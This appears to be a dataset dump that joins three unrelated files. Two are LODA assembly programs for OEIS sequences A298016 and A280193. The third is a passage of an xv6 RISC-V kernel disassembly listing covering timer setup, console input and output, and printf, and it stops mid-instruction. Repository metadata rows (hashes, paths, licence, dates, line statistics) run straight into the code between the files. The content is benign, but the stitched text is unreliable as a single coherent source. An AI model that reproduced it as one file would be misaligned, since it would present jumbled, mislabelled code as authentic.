; A298016: Coordination sequence of snub-632 tiling with respect to a hexavalent node. ; 1,6,12,12,24,36,24,42,60,36,60,84,48,78,108,60,96,132,72,114,156,84,132,180,96,150,204,108,168,228,120,186,252,132,204,276,144,222,300,156,240,324,168,258,348,180,276,372,192,294,396,204,312,420,216,330,444,228,348,468,240,366,492,252,384,516,264,402,540,276,420,564,288,438,588,300,456,612,312,474,636,324,492,660,336,510,684,348,528,708,360,546,732,372,564,756,384,582,780,396,600,804,408,618,828,420,636,852,432,654,876,444,672,900,456,690,924,468,708,948,480,726,972,492,744,996,504,762,1020,516,780,1044,528,798,1068,540,816,1092,552,834,1116,564,852,1140,576,870,1164,588,888,1188,600,906,1212,612,924,1236,624,942,1260,636,960,1284,648,978,1308,660,996,1332,672,1014,1356,684,1032,1380,696,1050,1404,708,1068,1428,720,1086,1452,732,1104,1476,744,1122,1500,756,1140,1524,768,1158,1548,780,1176,1572,792,1194,1596,804,1212,1620,816,1230,1644,828,1248,1668,840,1266,1692,852,1284,1716,864,1302,1740,876,1320,1764,888,1338,1788,900,1356,1812,912,1374,1836,924,1392,1860,936,1410,1884,948,1428,1908,960,1446,1932,972,1464,1956,984,1482,1980,996 mov $2,$0 mov $4,2 lpb $4 mov $0,$2 sub $4,1 add $0,$4 sub $0,1 cal $0,298019 ; Partial sums of A298016. mov $3,$0 mov $5,$4 lpb $5 mov $1,$3 sub $5,1 lpe lpe lpb $2 sub $1,$3 mov $2,0 lpe
58.956522
1,048
0.721239
cd6717fd445c3d1e970f85d1e6f00384d36d09fd
763
asm
Assembly
programs/oeis/280/A280193.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/280/A280193.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/280/A280193.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A280193: a(2*n) = 2, a(2*n + 1) = -1, a(0) = 1. ; 1,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1,2,-1 sub $0,1 mod $0,2 mul $0,10 add $0,1 pow $0,2 mov $1,$0 sub $1,79 div $1,39 add $1,1
58.692308
626
0.415465
2e4951d0c1cecd62ade8e55bbfc63b2451f95ddb
577,012
asm
Assembly
kernel/kernel.asm
noyaviv/try
c45dc9773c42b2ec1f46b62b33d3ba2299dc5838
[ "MIT-0" ]
null
null
null
kernel/kernel.asm
noyaviv/try
c45dc9773c42b2ec1f46b62b33d3ba2299dc5838
[ "MIT-0" ]
null
null
null
kernel/kernel.asm
noyaviv/try
c45dc9773c42b2ec1f46b62b33d3ba2299dc5838
[ "MIT-0" ]
null
null
null
kernel/kernel: file format elf64-littleriscv Disassembly of section .text: 0000000080000000 <_entry>: 80000000: 00009117 auipc sp,0x9 80000004: 18010113 addi sp,sp,384 # 80009180 <stack0> 80000008: 6505 lui a0,0x1 8000000a: f14025f3 csrr a1,mhartid 8000000e: 0585 addi a1,a1,1 80000010: 02b50533 mul a0,a0,a1 80000014: 912a add sp,sp,a0 80000016: 078000ef jal ra,8000008e <start> 000000008000001a <spin>: 8000001a: a001 j 8000001a <spin> 000000008000001c <timerinit>: // which arrive at timervec in kernelvec.S, // which turns them into software interrupts for // devintr() in trap.c. void timerinit() { 8000001c: 1141 addi sp,sp,-16 8000001e: e422 sd s0,8(sp) 80000020: 0800 addi s0,sp,16 // which hart (core) is this? static inline uint64 r_mhartid() { uint64 x; asm volatile("csrr %0, mhartid" : "=r" (x) ); 80000022: f14027f3 csrr a5,mhartid // each CPU has a separate source of timer interrupts. int id = r_mhartid(); 80000026: 0007869b sext.w a3,a5 // ask the CLINT for a timer interrupt. int interval = 1000000; // cycles; about 1/10th second in qemu. *(uint64*)CLINT_MTIMECMP(id) = *(uint64*)CLINT_MTIME + interval; 8000002a: 0037979b slliw a5,a5,0x3 8000002e: 02004737 lui a4,0x2004 80000032: 97ba add a5,a5,a4 80000034: 0200c737 lui a4,0x200c 80000038: ff873583 ld a1,-8(a4) # 200bff8 <_entry-0x7dff4008> 8000003c: 000f4637 lui a2,0xf4 80000040: 24060613 addi a2,a2,576 # f4240 <_entry-0x7ff0bdc0> 80000044: 95b2 add a1,a1,a2 80000046: e38c sd a1,0(a5) // prepare information in scratch[] for timervec. // scratch[0..2] : space for timervec to save registers. // scratch[3] : address of CLINT MTIMECMP register. // scratch[4] : desired interval (in cycles) between timer interrupts. uint64 *scratch = &timer_scratch[id][0]; 80000048: 00269713 slli a4,a3,0x2 8000004c: 9736 add a4,a4,a3 8000004e: 00371693 slli a3,a4,0x3 80000052: 00009717 auipc a4,0x9 80000056: fee70713 addi a4,a4,-18 # 80009040 <timer_scratch> 8000005a: 9736 add a4,a4,a3 scratch[3] = CLINT_MTIMECMP(id); 8000005c: ef1c sd a5,24(a4) scratch[4] = interval; 8000005e: f310 sd a2,32(a4) } static inline void w_mscratch(uint64 x) { asm volatile("csrw mscratch, %0" : : "r" (x)); 80000060: 34071073 csrw mscratch,a4 asm volatile("csrw mtvec, %0" : : "r" (x)); 80000064: 00006797 auipc a5,0x6 80000068: 1ac78793 addi a5,a5,428 # 80006210 <timervec> 8000006c: 30579073 csrw mtvec,a5 asm volatile("csrr %0, mstatus" : "=r" (x) ); 80000070: 300027f3 csrr a5,mstatus // set the machine-mode trap handler. w_mtvec((uint64)timervec); // enable machine-mode interrupts. w_mstatus(r_mstatus() | MSTATUS_MIE); 80000074: 0087e793 ori a5,a5,8 asm volatile("csrw mstatus, %0" : : "r" (x)); 80000078: 30079073 csrw mstatus,a5 asm volatile("csrr %0, mie" : "=r" (x) ); 8000007c: 304027f3 csrr a5,mie // enable machine-mode timer interrupts. w_mie(r_mie() | MIE_MTIE); 80000080: 0807e793 ori a5,a5,128 asm volatile("csrw mie, %0" : : "r" (x)); 80000084: 30479073 csrw mie,a5 } 80000088: 6422 ld s0,8(sp) 8000008a: 0141 addi sp,sp,16 8000008c: 8082 ret 000000008000008e <start>: { 8000008e: 1141 addi sp,sp,-16 80000090: e406 sd ra,8(sp) 80000092: e022 sd s0,0(sp) 80000094: 0800 addi s0,sp,16 asm volatile("csrr %0, mstatus" : "=r" (x) ); 80000096: 300027f3 csrr a5,mstatus x &= ~MSTATUS_MPP_MASK; 8000009a: 7779 lui a4,0xffffe 8000009c: 7ff70713 addi a4,a4,2047 # ffffffffffffe7ff <end+0xffffffff7ffd87ff> 800000a0: 8ff9 and a5,a5,a4 x |= MSTATUS_MPP_S; 800000a2: 6705 lui a4,0x1 800000a4: 80070713 addi a4,a4,-2048 # 800 <_entry-0x7ffff800> 800000a8: 8fd9 or a5,a5,a4 asm volatile("csrw mstatus, %0" : : "r" (x)); 800000aa: 30079073 csrw mstatus,a5 asm volatile("csrw mepc, %0" : : "r" (x)); 800000ae: 00001797 auipc a5,0x1 800000b2: dbe78793 addi a5,a5,-578 # 80000e6c <main> 800000b6: 34179073 csrw mepc,a5 asm volatile("csrw satp, %0" : : "r" (x)); 800000ba: 4781 li a5,0 800000bc: 18079073 csrw satp,a5 asm volatile("csrw medeleg, %0" : : "r" (x)); 800000c0: 67c1 lui a5,0x10 800000c2: 17fd addi a5,a5,-1 800000c4: 30279073 csrw medeleg,a5 asm volatile("csrw mideleg, %0" : : "r" (x)); 800000c8: 30379073 csrw mideleg,a5 asm volatile("csrr %0, sie" : "=r" (x) ); 800000cc: 104027f3 csrr a5,sie w_sie(r_sie() | SIE_SEIE | SIE_STIE | SIE_SSIE); 800000d0: 2227e793 ori a5,a5,546 asm volatile("csrw sie, %0" : : "r" (x)); 800000d4: 10479073 csrw sie,a5 timerinit(); 800000d8: 00000097 auipc ra,0x0 800000dc: f44080e7 jalr -188(ra) # 8000001c <timerinit> asm volatile("csrr %0, mhartid" : "=r" (x) ); 800000e0: f14027f3 csrr a5,mhartid w_tp(id); 800000e4: 2781 sext.w a5,a5 } static inline void w_tp(uint64 x) { asm volatile("mv tp, %0" : : "r" (x)); 800000e6: 823e mv tp,a5 asm volatile("mret"); 800000e8: 30200073 mret } 800000ec: 60a2 ld ra,8(sp) 800000ee: 6402 ld s0,0(sp) 800000f0: 0141 addi sp,sp,16 800000f2: 8082 ret 00000000800000f4 <consolewrite>: // // user write()s to the console go here. // int consolewrite(int user_src, uint64 src, int n) { 800000f4: 715d addi sp,sp,-80 800000f6: e486 sd ra,72(sp) 800000f8: e0a2 sd s0,64(sp) 800000fa: fc26 sd s1,56(sp) 800000fc: f84a sd s2,48(sp) 800000fe: f44e sd s3,40(sp) 80000100: f052 sd s4,32(sp) 80000102: ec56 sd s5,24(sp) 80000104: 0880 addi s0,sp,80 int i; for(i = 0; i < n; i++){ 80000106: 04c05663 blez a2,80000152 <consolewrite+0x5e> 8000010a: 8a2a mv s4,a0 8000010c: 84ae mv s1,a1 8000010e: 89b2 mv s3,a2 80000110: 4901 li s2,0 char c; if(either_copyin(&c, user_src, src+i, 1) == -1) 80000112: 5afd li s5,-1 80000114: 4685 li a3,1 80000116: 8626 mv a2,s1 80000118: 85d2 mv a1,s4 8000011a: fbf40513 addi a0,s0,-65 8000011e: 00002097 auipc ra,0x2 80000122: 512080e7 jalr 1298(ra) # 80002630 <either_copyin> 80000126: 01550c63 beq a0,s5,8000013e <consolewrite+0x4a> break; uartputc(c); 8000012a: fbf44503 lbu a0,-65(s0) 8000012e: 00000097 auipc ra,0x0 80000132: 77a080e7 jalr 1914(ra) # 800008a8 <uartputc> for(i = 0; i < n; i++){ 80000136: 2905 addiw s2,s2,1 80000138: 0485 addi s1,s1,1 8000013a: fd299de3 bne s3,s2,80000114 <consolewrite+0x20> } return i; } 8000013e: 854a mv a0,s2 80000140: 60a6 ld ra,72(sp) 80000142: 6406 ld s0,64(sp) 80000144: 74e2 ld s1,56(sp) 80000146: 7942 ld s2,48(sp) 80000148: 79a2 ld s3,40(sp) 8000014a: 7a02 ld s4,32(sp) 8000014c: 6ae2 ld s5,24(sp) 8000014e: 6161 addi sp,sp,80 80000150: 8082 ret for(i = 0; i < n; i++){ 80000152: 4901 li s2,0 80000154: b7ed j 8000013e <consolewrite+0x4a> 0000000080000156 <consoleread>: // user_dist indicates whether dst is a user // or kernel address. // int consoleread(int user_dst, uint64 dst, int n) { 80000156: 7159 addi sp,sp,-112 80000158: f486 sd ra,104(sp) 8000015a: f0a2 sd s0,96(sp) 8000015c: eca6 sd s1,88(sp) 8000015e: e8ca sd s2,80(sp) 80000160: e4ce sd s3,72(sp) 80000162: e0d2 sd s4,64(sp) 80000164: fc56 sd s5,56(sp) 80000166: f85a sd s6,48(sp) 80000168: f45e sd s7,40(sp) 8000016a: f062 sd s8,32(sp) 8000016c: ec66 sd s9,24(sp) 8000016e: e86a sd s10,16(sp) 80000170: 1880 addi s0,sp,112 80000172: 8aaa mv s5,a0 80000174: 8a2e mv s4,a1 80000176: 89b2 mv s3,a2 uint target; int c; char cbuf; target = n; 80000178: 00060b1b sext.w s6,a2 acquire(&cons.lock); 8000017c: 00011517 auipc a0,0x11 80000180: 00450513 addi a0,a0,4 # 80011180 <cons> 80000184: 00001097 auipc ra,0x1 80000188: a3e080e7 jalr -1474(ra) # 80000bc2 <acquire> while(n > 0){ // wait until interrupt handler has put some // input into cons.buffer. while(cons.r == cons.w){ 8000018c: 00011497 auipc s1,0x11 80000190: ff448493 addi s1,s1,-12 # 80011180 <cons> if(myproc()->killed){ release(&cons.lock); return -1; } sleep(&cons.r, &cons.lock); 80000194: 00011917 auipc s2,0x11 80000198: 08490913 addi s2,s2,132 # 80011218 <cons+0x98> } c = cons.buf[cons.r++ % INPUT_BUF]; if(c == C('D')){ // end-of-file 8000019c: 4b91 li s7,4 break; } // copy the input byte to the user-space buffer. cbuf = c; if(either_copyout(user_dst, dst, &cbuf, 1) == -1) 8000019e: 5c7d li s8,-1 break; dst++; --n; if(c == '\n'){ 800001a0: 4ca9 li s9,10 while(n > 0){ 800001a2: 07305863 blez s3,80000212 <consoleread+0xbc> while(cons.r == cons.w){ 800001a6: 0984a783 lw a5,152(s1) 800001aa: 09c4a703 lw a4,156(s1) 800001ae: 02f71463 bne a4,a5,800001d6 <consoleread+0x80> if(myproc()->killed){ 800001b2: 00001097 auipc ra,0x1 800001b6: 7e4080e7 jalr 2020(ra) # 80001996 <myproc> 800001ba: 551c lw a5,40(a0) 800001bc: e7b5 bnez a5,80000228 <consoleread+0xd2> sleep(&cons.r, &cons.lock); 800001be: 85a6 mv a1,s1 800001c0: 854a mv a0,s2 800001c2: 00002097 auipc ra,0x2 800001c6: 004080e7 jalr 4(ra) # 800021c6 <sleep> while(cons.r == cons.w){ 800001ca: 0984a783 lw a5,152(s1) 800001ce: 09c4a703 lw a4,156(s1) 800001d2: fef700e3 beq a4,a5,800001b2 <consoleread+0x5c> c = cons.buf[cons.r++ % INPUT_BUF]; 800001d6: 0017871b addiw a4,a5,1 800001da: 08e4ac23 sw a4,152(s1) 800001de: 07f7f713 andi a4,a5,127 800001e2: 9726 add a4,a4,s1 800001e4: 01874703 lbu a4,24(a4) 800001e8: 00070d1b sext.w s10,a4 if(c == C('D')){ // end-of-file 800001ec: 077d0563 beq s10,s7,80000256 <consoleread+0x100> cbuf = c; 800001f0: f8e40fa3 sb a4,-97(s0) if(either_copyout(user_dst, dst, &cbuf, 1) == -1) 800001f4: 4685 li a3,1 800001f6: f9f40613 addi a2,s0,-97 800001fa: 85d2 mv a1,s4 800001fc: 8556 mv a0,s5 800001fe: 00002097 auipc ra,0x2 80000202: 3dc080e7 jalr 988(ra) # 800025da <either_copyout> 80000206: 01850663 beq a0,s8,80000212 <consoleread+0xbc> dst++; 8000020a: 0a05 addi s4,s4,1 --n; 8000020c: 39fd addiw s3,s3,-1 if(c == '\n'){ 8000020e: f99d1ae3 bne s10,s9,800001a2 <consoleread+0x4c> // a whole line has arrived, return to // the user-level read(). break; } } release(&cons.lock); 80000212: 00011517 auipc a0,0x11 80000216: f6e50513 addi a0,a0,-146 # 80011180 <cons> 8000021a: 00001097 auipc ra,0x1 8000021e: a5c080e7 jalr -1444(ra) # 80000c76 <release> return target - n; 80000222: 413b053b subw a0,s6,s3 80000226: a811 j 8000023a <consoleread+0xe4> release(&cons.lock); 80000228: 00011517 auipc a0,0x11 8000022c: f5850513 addi a0,a0,-168 # 80011180 <cons> 80000230: 00001097 auipc ra,0x1 80000234: a46080e7 jalr -1466(ra) # 80000c76 <release> return -1; 80000238: 557d li a0,-1 } 8000023a: 70a6 ld ra,104(sp) 8000023c: 7406 ld s0,96(sp) 8000023e: 64e6 ld s1,88(sp) 80000240: 6946 ld s2,80(sp) 80000242: 69a6 ld s3,72(sp) 80000244: 6a06 ld s4,64(sp) 80000246: 7ae2 ld s5,56(sp) 80000248: 7b42 ld s6,48(sp) 8000024a: 7ba2 ld s7,40(sp) 8000024c: 7c02 ld s8,32(sp) 8000024e: 6ce2 ld s9,24(sp) 80000250: 6d42 ld s10,16(sp) 80000252: 6165 addi sp,sp,112 80000254: 8082 ret if(n < target){ 80000256: 0009871b sext.w a4,s3 8000025a: fb677ce3 bgeu a4,s6,80000212 <consoleread+0xbc> cons.r--; 8000025e: 00011717 auipc a4,0x11 80000262: faf72d23 sw a5,-70(a4) # 80011218 <cons+0x98> 80000266: b775 j 80000212 <consoleread+0xbc> 0000000080000268 <consputc>: { 80000268: 1141 addi sp,sp,-16 8000026a: e406 sd ra,8(sp) 8000026c: e022 sd s0,0(sp) 8000026e: 0800 addi s0,sp,16 if(c == BACKSPACE){ 80000270: 10000793 li a5,256 80000274: 00f50a63 beq a0,a5,80000288 <consputc+0x20> uartputc_sync(c); 80000278: 00000097 auipc ra,0x0 8000027c: 55e080e7 jalr 1374(ra) # 800007d6 <uartputc_sync> } 80000280: 60a2 ld ra,8(sp) 80000282: 6402 ld s0,0(sp) 80000284: 0141 addi sp,sp,16 80000286: 8082 ret uartputc_sync('\b'); uartputc_sync(' '); uartputc_sync('\b'); 80000288: 4521 li a0,8 8000028a: 00000097 auipc ra,0x0 8000028e: 54c080e7 jalr 1356(ra) # 800007d6 <uartputc_sync> 80000292: 02000513 li a0,32 80000296: 00000097 auipc ra,0x0 8000029a: 540080e7 jalr 1344(ra) # 800007d6 <uartputc_sync> 8000029e: 4521 li a0,8 800002a0: 00000097 auipc ra,0x0 800002a4: 536080e7 jalr 1334(ra) # 800007d6 <uartputc_sync> 800002a8: bfe1 j 80000280 <consputc+0x18> 00000000800002aa <consoleintr>: // do erase/kill processing, append to cons.buf, // wake up consoleread() if a whole line has arrived. // void consoleintr(int c) { 800002aa: 1101 addi sp,sp,-32 800002ac: ec06 sd ra,24(sp) 800002ae: e822 sd s0,16(sp) 800002b0: e426 sd s1,8(sp) 800002b2: e04a sd s2,0(sp) 800002b4: 1000 addi s0,sp,32 800002b6: 84aa mv s1,a0 acquire(&cons.lock); 800002b8: 00011517 auipc a0,0x11 800002bc: ec850513 addi a0,a0,-312 # 80011180 <cons> 800002c0: 00001097 auipc ra,0x1 800002c4: 902080e7 jalr -1790(ra) # 80000bc2 <acquire> switch(c){ 800002c8: 47d5 li a5,21 800002ca: 0af48663 beq s1,a5,80000376 <consoleintr+0xcc> 800002ce: 0297ca63 blt a5,s1,80000302 <consoleintr+0x58> 800002d2: 47a1 li a5,8 800002d4: 0ef48763 beq s1,a5,800003c2 <consoleintr+0x118> 800002d8: 47c1 li a5,16 800002da: 10f49a63 bne s1,a5,800003ee <consoleintr+0x144> case C('P'): // Print process list. procdump(); 800002de: 00002097 auipc ra,0x2 800002e2: 3a8080e7 jalr 936(ra) # 80002686 <procdump> } } break; } release(&cons.lock); 800002e6: 00011517 auipc a0,0x11 800002ea: e9a50513 addi a0,a0,-358 # 80011180 <cons> 800002ee: 00001097 auipc ra,0x1 800002f2: 988080e7 jalr -1656(ra) # 80000c76 <release> } 800002f6: 60e2 ld ra,24(sp) 800002f8: 6442 ld s0,16(sp) 800002fa: 64a2 ld s1,8(sp) 800002fc: 6902 ld s2,0(sp) 800002fe: 6105 addi sp,sp,32 80000300: 8082 ret switch(c){ 80000302: 07f00793 li a5,127 80000306: 0af48e63 beq s1,a5,800003c2 <consoleintr+0x118> if(c != 0 && cons.e-cons.r < INPUT_BUF){ 8000030a: 00011717 auipc a4,0x11 8000030e: e7670713 addi a4,a4,-394 # 80011180 <cons> 80000312: 0a072783 lw a5,160(a4) 80000316: 09872703 lw a4,152(a4) 8000031a: 9f99 subw a5,a5,a4 8000031c: 07f00713 li a4,127 80000320: fcf763e3 bltu a4,a5,800002e6 <consoleintr+0x3c> c = (c == '\r') ? '\n' : c; 80000324: 47b5 li a5,13 80000326: 0cf48763 beq s1,a5,800003f4 <consoleintr+0x14a> consputc(c); 8000032a: 8526 mv a0,s1 8000032c: 00000097 auipc ra,0x0 80000330: f3c080e7 jalr -196(ra) # 80000268 <consputc> cons.buf[cons.e++ % INPUT_BUF] = c; 80000334: 00011797 auipc a5,0x11 80000338: e4c78793 addi a5,a5,-436 # 80011180 <cons> 8000033c: 0a07a703 lw a4,160(a5) 80000340: 0017069b addiw a3,a4,1 80000344: 0006861b sext.w a2,a3 80000348: 0ad7a023 sw a3,160(a5) 8000034c: 07f77713 andi a4,a4,127 80000350: 97ba add a5,a5,a4 80000352: 00978c23 sb s1,24(a5) if(c == '\n' || c == C('D') || cons.e == cons.r+INPUT_BUF){ 80000356: 47a9 li a5,10 80000358: 0cf48563 beq s1,a5,80000422 <consoleintr+0x178> 8000035c: 4791 li a5,4 8000035e: 0cf48263 beq s1,a5,80000422 <consoleintr+0x178> 80000362: 00011797 auipc a5,0x11 80000366: eb67a783 lw a5,-330(a5) # 80011218 <cons+0x98> 8000036a: 0807879b addiw a5,a5,128 8000036e: f6f61ce3 bne a2,a5,800002e6 <consoleintr+0x3c> cons.buf[cons.e++ % INPUT_BUF] = c; 80000372: 863e mv a2,a5 80000374: a07d j 80000422 <consoleintr+0x178> while(cons.e != cons.w && 80000376: 00011717 auipc a4,0x11 8000037a: e0a70713 addi a4,a4,-502 # 80011180 <cons> 8000037e: 0a072783 lw a5,160(a4) 80000382: 09c72703 lw a4,156(a4) cons.buf[(cons.e-1) % INPUT_BUF] != '\n'){ 80000386: 00011497 auipc s1,0x11 8000038a: dfa48493 addi s1,s1,-518 # 80011180 <cons> while(cons.e != cons.w && 8000038e: 4929 li s2,10 80000390: f4f70be3 beq a4,a5,800002e6 <consoleintr+0x3c> cons.buf[(cons.e-1) % INPUT_BUF] != '\n'){ 80000394: 37fd addiw a5,a5,-1 80000396: 07f7f713 andi a4,a5,127 8000039a: 9726 add a4,a4,s1 while(cons.e != cons.w && 8000039c: 01874703 lbu a4,24(a4) 800003a0: f52703e3 beq a4,s2,800002e6 <consoleintr+0x3c> cons.e--; 800003a4: 0af4a023 sw a5,160(s1) consputc(BACKSPACE); 800003a8: 10000513 li a0,256 800003ac: 00000097 auipc ra,0x0 800003b0: ebc080e7 jalr -324(ra) # 80000268 <consputc> while(cons.e != cons.w && 800003b4: 0a04a783 lw a5,160(s1) 800003b8: 09c4a703 lw a4,156(s1) 800003bc: fcf71ce3 bne a4,a5,80000394 <consoleintr+0xea> 800003c0: b71d j 800002e6 <consoleintr+0x3c> if(cons.e != cons.w){ 800003c2: 00011717 auipc a4,0x11 800003c6: dbe70713 addi a4,a4,-578 # 80011180 <cons> 800003ca: 0a072783 lw a5,160(a4) 800003ce: 09c72703 lw a4,156(a4) 800003d2: f0f70ae3 beq a4,a5,800002e6 <consoleintr+0x3c> cons.e--; 800003d6: 37fd addiw a5,a5,-1 800003d8: 00011717 auipc a4,0x11 800003dc: e4f72423 sw a5,-440(a4) # 80011220 <cons+0xa0> consputc(BACKSPACE); 800003e0: 10000513 li a0,256 800003e4: 00000097 auipc ra,0x0 800003e8: e84080e7 jalr -380(ra) # 80000268 <consputc> 800003ec: bded j 800002e6 <consoleintr+0x3c> if(c != 0 && cons.e-cons.r < INPUT_BUF){ 800003ee: ee048ce3 beqz s1,800002e6 <consoleintr+0x3c> 800003f2: bf21 j 8000030a <consoleintr+0x60> consputc(c); 800003f4: 4529 li a0,10 800003f6: 00000097 auipc ra,0x0 800003fa: e72080e7 jalr -398(ra) # 80000268 <consputc> cons.buf[cons.e++ % INPUT_BUF] = c; 800003fe: 00011797 auipc a5,0x11 80000402: d8278793 addi a5,a5,-638 # 80011180 <cons> 80000406: 0a07a703 lw a4,160(a5) 8000040a: 0017069b addiw a3,a4,1 8000040e: 0006861b sext.w a2,a3 80000412: 0ad7a023 sw a3,160(a5) 80000416: 07f77713 andi a4,a4,127 8000041a: 97ba add a5,a5,a4 8000041c: 4729 li a4,10 8000041e: 00e78c23 sb a4,24(a5) cons.w = cons.e; 80000422: 00011797 auipc a5,0x11 80000426: dec7ad23 sw a2,-518(a5) # 8001121c <cons+0x9c> wakeup(&cons.r); 8000042a: 00011517 auipc a0,0x11 8000042e: dee50513 addi a0,a0,-530 # 80011218 <cons+0x98> 80000432: 00002097 auipc ra,0x2 80000436: f20080e7 jalr -224(ra) # 80002352 <wakeup> 8000043a: b575 j 800002e6 <consoleintr+0x3c> 000000008000043c <consoleinit>: void consoleinit(void) { 8000043c: 1141 addi sp,sp,-16 8000043e: e406 sd ra,8(sp) 80000440: e022 sd s0,0(sp) 80000442: 0800 addi s0,sp,16 initlock(&cons.lock, "cons"); 80000444: 00008597 auipc a1,0x8 80000448: bcc58593 addi a1,a1,-1076 # 80008010 <etext+0x10> 8000044c: 00011517 auipc a0,0x11 80000450: d3450513 addi a0,a0,-716 # 80011180 <cons> 80000454: 00000097 auipc ra,0x0 80000458: 6de080e7 jalr 1758(ra) # 80000b32 <initlock> uartinit(); 8000045c: 00000097 auipc ra,0x0 80000460: 32a080e7 jalr 810(ra) # 80000786 <uartinit> // connect read and write system calls // to consoleread and consolewrite. devsw[CONSOLE].read = consoleread; 80000464: 00021797 auipc a5,0x21 80000468: 6cc78793 addi a5,a5,1740 # 80021b30 <devsw> 8000046c: 00000717 auipc a4,0x0 80000470: cea70713 addi a4,a4,-790 # 80000156 <consoleread> 80000474: eb98 sd a4,16(a5) devsw[CONSOLE].write = consolewrite; 80000476: 00000717 auipc a4,0x0 8000047a: c7e70713 addi a4,a4,-898 # 800000f4 <consolewrite> 8000047e: ef98 sd a4,24(a5) } 80000480: 60a2 ld ra,8(sp) 80000482: 6402 ld s0,0(sp) 80000484: 0141 addi sp,sp,16 80000486: 8082 ret 0000000080000488 <printint>: static char digits[] = "0123456789abcdef"; static void printint(int xx, int base, int sign) { 80000488: 7179 addi sp,sp,-48 8000048a: f406 sd ra,40(sp) 8000048c: f022 sd s0,32(sp) 8000048e: ec26 sd s1,24(sp) 80000490: e84a sd s2,16(sp) 80000492: 1800 addi s0,sp,48 char buf[16]; int i; uint x; if(sign && (sign = xx < 0)) 80000494: c219 beqz a2,8000049a <printint+0x12> 80000496: 08054663 bltz a0,80000522 <printint+0x9a> x = -xx; else x = xx; 8000049a: 2501 sext.w a0,a0 8000049c: 4881 li a7,0 8000049e: fd040693 addi a3,s0,-48 i = 0; 800004a2: 4701 li a4,0 do { buf[i++] = digits[x % base]; 800004a4: 2581 sext.w a1,a1 800004a6: 00008617 auipc a2,0x8 800004aa: b9a60613 addi a2,a2,-1126 # 80008040 <digits> 800004ae: 883a mv a6,a4 800004b0: 2705 addiw a4,a4,1 800004b2: 02b577bb remuw a5,a0,a1 800004b6: 1782 slli a5,a5,0x20 800004b8: 9381 srli a5,a5,0x20 800004ba: 97b2 add a5,a5,a2 800004bc: 0007c783 lbu a5,0(a5) 800004c0: 00f68023 sb a5,0(a3) } while((x /= base) != 0); 800004c4: 0005079b sext.w a5,a0 800004c8: 02b5553b divuw a0,a0,a1 800004cc: 0685 addi a3,a3,1 800004ce: feb7f0e3 bgeu a5,a1,800004ae <printint+0x26> if(sign) 800004d2: 00088b63 beqz a7,800004e8 <printint+0x60> buf[i++] = '-'; 800004d6: fe040793 addi a5,s0,-32 800004da: 973e add a4,a4,a5 800004dc: 02d00793 li a5,45 800004e0: fef70823 sb a5,-16(a4) 800004e4: 0028071b addiw a4,a6,2 while(--i >= 0) 800004e8: 02e05763 blez a4,80000516 <printint+0x8e> 800004ec: fd040793 addi a5,s0,-48 800004f0: 00e784b3 add s1,a5,a4 800004f4: fff78913 addi s2,a5,-1 800004f8: 993a add s2,s2,a4 800004fa: 377d addiw a4,a4,-1 800004fc: 1702 slli a4,a4,0x20 800004fe: 9301 srli a4,a4,0x20 80000500: 40e90933 sub s2,s2,a4 consputc(buf[i]); 80000504: fff4c503 lbu a0,-1(s1) 80000508: 00000097 auipc ra,0x0 8000050c: d60080e7 jalr -672(ra) # 80000268 <consputc> while(--i >= 0) 80000510: 14fd addi s1,s1,-1 80000512: ff2499e3 bne s1,s2,80000504 <printint+0x7c> } 80000516: 70a2 ld ra,40(sp) 80000518: 7402 ld s0,32(sp) 8000051a: 64e2 ld s1,24(sp) 8000051c: 6942 ld s2,16(sp) 8000051e: 6145 addi sp,sp,48 80000520: 8082 ret x = -xx; 80000522: 40a0053b negw a0,a0 if(sign && (sign = xx < 0)) 80000526: 4885 li a7,1 x = -xx; 80000528: bf9d j 8000049e <printint+0x16> 000000008000052a <panic>: release(&pr.lock); } void panic(char *s) { 8000052a: 1101 addi sp,sp,-32 8000052c: ec06 sd ra,24(sp) 8000052e: e822 sd s0,16(sp) 80000530: e426 sd s1,8(sp) 80000532: 1000 addi s0,sp,32 80000534: 84aa mv s1,a0 pr.locking = 0; 80000536: 00011797 auipc a5,0x11 8000053a: d007a523 sw zero,-758(a5) # 80011240 <pr+0x18> printf("panic: "); 8000053e: 00008517 auipc a0,0x8 80000542: ada50513 addi a0,a0,-1318 # 80008018 <etext+0x18> 80000546: 00000097 auipc ra,0x0 8000054a: 02e080e7 jalr 46(ra) # 80000574 <printf> printf(s); 8000054e: 8526 mv a0,s1 80000550: 00000097 auipc ra,0x0 80000554: 024080e7 jalr 36(ra) # 80000574 <printf> printf("\n"); 80000558: 00008517 auipc a0,0x8 8000055c: b7050513 addi a0,a0,-1168 # 800080c8 <digits+0x88> 80000560: 00000097 auipc ra,0x0 80000564: 014080e7 jalr 20(ra) # 80000574 <printf> panicked = 1; // freeze uart output from other CPUs 80000568: 4785 li a5,1 8000056a: 00009717 auipc a4,0x9 8000056e: a8f72b23 sw a5,-1386(a4) # 80009000 <panicked> for(;;) 80000572: a001 j 80000572 <panic+0x48> 0000000080000574 <printf>: { 80000574: 7131 addi 